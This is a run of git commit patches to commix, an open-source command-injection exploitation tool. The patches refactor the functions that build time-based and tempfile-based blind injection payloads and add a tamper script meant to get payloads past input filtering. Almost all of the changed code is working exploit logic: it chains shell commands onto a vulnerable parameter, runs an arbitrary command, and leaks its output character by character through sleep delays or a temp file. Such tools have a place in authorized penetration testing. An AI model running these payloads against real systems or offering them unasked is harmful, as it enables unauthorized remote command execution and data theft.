src/core/tamper/sleep2timeout.py | 10 ++++------ src/core/tamper/sleep2usleep.py | 13 ++++++------- src/utils/settings.py | 2 +- 4 files changed, 22 insertions(+), 15 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index aa14554b58..66ebcdf6cf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1009,6 +1009,16 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): if menu.options.skip_parameter != None: check_skipped_params(check_parameters) +""" +Only time-relative injection techniques support tamper +""" +def time_relative_tamper(tamper): + warn_msg = "All injection techniques, except for the time-relative ones, " + warn_msg += "do not support the '" + tamper + ".py' tamper script." + if menu.options.skip_heuristics: + print(settings.SINGLE_WHITESPACE) + print(settings.print_warning_msg(warn_msg)) + """ Lists available tamper scripts """ @@ -1370,7 +1380,7 @@ def check_for_stored_tamper(payload): """ def perform_payload_modification(payload): for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # sleep to usleep + # sleep to timeout if encode_type == 'sleep2timeout': from src.core.tamper import sleep2timeout payload = sleep2timeout.tamper(payload) diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index b2e9554e0b..b267fdf1ec 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -16,6 +16,7 @@ import sys from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ About: Uses "timeout" function for time-based attacks. @@ -44,12 +45,9 @@ def sleep_to_timeout_ping(payload): settings.EVAL_BASED_STATE != False or \ settings.FILE_BASED_STATE != False: if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script. Skipping." - if menu.options.skip_heuristics: - print(settings.SINGLE_WHITESPACE) - print(settings.print_warning_msg(warn_msg)) + if settings.TRANFROM_PAYLOAD == None: + checks.time_relative_tamper(__tamper__) + settings.TRANFROM_PAYLOAD = False return payload else: settings.TRANFROM_PAYLOAD = True diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 5b1b4d3e2d..dedf255b3f 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -16,6 +16,7 @@ import sys from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ About: Replaces "sleep" with "usleep" command in the generated payloads. @@ -45,15 +46,13 @@ def sleep_to_usleep(payload): settings.EVAL_BASED_STATE != False or \ settings.FILE_BASED_STATE != False: if settings.TRANFROM_PAYLOAD == None: + checks.time_relative_tamper(__tamper__) settings.TRANFROM_PAYLOAD = False - warn_msg = "All injection techniques, except for the time-relative ones, " - warn_msg += "do not support the '" + __tamper__ + ".py' tamper script." - if menu.options.skip_heuristics: - print(settings.SINGLE_WHITESPACE) - print(settings.print_warning_msg(warn_msg)) - return payload + return payload else: - return sleep_to_usleep(payload) + settings.TRANFROM_PAYLOAD = True + if settings.TRANFROM_PAYLOAD: + return sleep_to_usleep(payload) else: return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index e8aa638e2e..bdeb782513 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6ab2d255773398b90ceeeb64c2cdef81b7b5c382 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 11 Sep 2022 21:20:33 +0300 Subject: [PATCH 0186/1023] Update THANKS.md --- doc/THANKS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/THANKS.md b/doc/THANKS.md index f30098a9ba..44e0c582d9 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. * Thanks [609496288](https://github.com/609496288) for reporting a bug. * Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug. From 173b891276c7680a0d22bedaf72a44b01e5fca56 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Oct 2022 12:31:20 +0300 Subject: [PATCH 0187/1023] Minor refactoring --- .../techniques/time_based/tb_payloads.py | 111 ++--------------- .../techniques/tempfile_based/tfb_payloads.py | 113 ++---------------- src/utils/settings.py | 2 +- 3 files changed, 19 insertions(+), 207 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 4976fa8bdf..b0caa1283a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -44,7 +44,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) else: - if separator == ";" : + if separator == ";" or separator == "%0a": payload = (separator + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. @@ -55,16 +55,6 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "fi" ) - elif separator == "%0a" : - payload = (separator + - "str=$(echo " + TAG + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi" - ) elif separator == "&&" : separator = _urllib.parse.quote(separator) @@ -118,18 +108,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me ) else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + @@ -199,7 +178,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) else: - if separator == ";" : + if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + #"str1=${%23str}" + separator + @@ -210,19 +189,6 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -275,18 +241,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque ) else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + @@ -352,30 +307,14 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. "cmd=\"$(echo $(" + cmd + "))\"" + separator + # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + - # Perform the time-based comparisons - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + - # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + - # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + + "str=$(printf '%d\\n' \"'$char'\")" + separator + # Perform the time-based comparisons "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + @@ -393,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + + "str=$(printf '%d\\n' \"'$char'\")" + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) @@ -441,17 +380,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http ) else: - if separator == ";" : - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + @@ -518,17 +447,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me ) else: - if separator == ";" : - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(" + cmd + ")\"" + separator + "if [ " + str(ascii_char) + " -ne $str ]" + separator + @@ -585,7 +504,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : + if separator == ";" or separator == "%0a": payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + @@ -594,16 +513,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 93681e1dab..f68e0a11d8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -49,21 +49,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ) else: - if separator == ";" : - payload = (separator + - "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + @@ -131,19 +117,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : - payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -230,25 +204,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: - if separator == ";" : - payload = (separator + - "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + - "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then sleep 0 " + separator + - "else sleep " + str(timesec) + separator + - # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + @@ -330,7 +286,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). @@ -341,18 +297,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + - # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + - "if [ " + str(j) + " -ne ${str1} ] " + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -413,18 +357,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: - if separator == ";" : - payload = (separator + - # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + @@ -487,7 +420,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + @@ -496,16 +429,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "fi " ) - elif separator == "%0a" : - #separator = "\n" - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -562,17 +485,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) else: - if separator == ";" : - payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + @@ -629,17 +542,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) else: - if separator == ";" : - payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) - - elif separator == "%0a" : - #separator = "\n" + if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index bdeb782513..dd7eb9a196 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3cb81bb35e58b37571131b2c12b209bfd60c8e72 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 7 Oct 2022 15:45:23 +0300 Subject: [PATCH 0188/1023] New line removed --- .../injections/blind/techniques/time_based/tb_payloads.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index b0caa1283a..b119491275 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -314,7 +314,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d\\n' \"'$char'\")" + separator + + "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + @@ -332,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # Export char-by-char the execution output. "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. - "str=$(printf '%d\\n' \"'$char'\")" + separator + + "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) diff --git a/src/utils/settings.py b/src/utils/settings.py index dd7eb9a196..a6838560d0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 73c16e0a1e7c556af0ac1300412f000ba3e0a393 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 8 Oct 2022 10:00:31 +0300 Subject: [PATCH 0189/1023] Fixes https://github.com/commixproject/commix/issues/782 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 4 +++ src/core/tamper/printf2echo.py | 34 ++++++++++++++++++++++++ src/utils/settings.py | 4 ++- 4 files changed, 42 insertions(+), 1 deletion(-) create mode 100644 src/core/tamper/printf2echo.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0115fbc2e6..8eea9871af 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 66ebcdf6cf..dea83e2c3f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1380,6 +1380,10 @@ def check_for_stored_tamper(payload): """ def perform_payload_modification(payload): for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # printf to echo (for ascii to dec) + if encode_type == 'printf2echo': + from src.core.tamper import printf2echo + payload = printf2echo.tamper(payload) # sleep to timeout if encode_type == 'sleep2timeout': from src.core.tamper import sleep2timeout diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py new file mode 100644 index 0000000000..eb03120e34 --- /dev/null +++ b/src/core/tamper/printf2echo.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. +Notes: This tamper script works against Unix-like target(s) +""" + +__tamper__ = "printf2echo" +settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + def printf_to_echo(payload): + if "printf" in payload: + payload = payload.replace("str=$(printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$char'\")", "str=$(echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$char" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs)") + return payload + + return printf_to_echo(payload) + +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index a6838560d0..bc7e60f966 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -995,6 +995,7 @@ def sys_argv_errors(): "sleep2timeout": False, "xforwardedfor": False, "dollaratsigns": False, + "printf2echo": False, "uninitializedvariable": False, "slash2env":False, "backticks":False @@ -1013,6 +1014,7 @@ def sys_argv_errors(): "singlequotes", "slash2env", "sleep2usleep", + "printf2echo", "space2ifs", "uninitializedvariable" ] From f1ae3f6e59de9003f5a6ee53dd62e50e3f72cc2f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 9 Oct 2022 10:02:09 +0300 Subject: [PATCH 0190/1023] Minor update --- src/utils/menu.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 875632d9cd..e9a7cfe0e8 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -538,7 +538,7 @@ def banner(): action="store", type="int", dest="failed_tries", - default=20, + default=len(settings.SEPARATORS_LVL1) - 1, help="Set a number of failed injection tries, in file-based technique.") # Miscellaneous options diff --git a/src/utils/settings.py b/src/utils/settings.py index bc7e60f966..c853764a27 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fe6790d497bea3894fdd4a8544358259c7767f84 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 10 Oct 2022 09:54:21 +0300 Subject: [PATCH 0191/1023] Minor update --- .../injections/blind/techniques/time_based/tb_injector.py | 5 +++-- .../semiblind/techniques/tempfile_based/tfb_injector.py | 5 +++-- src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 3f23ab0cbe..06f550309a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -510,10 +510,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese """ def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." print(settings.print_info_msg(info_msg)) + print(settings.print_output(output)) else: # Check if exists pipe filtration. if output != False : diff --git 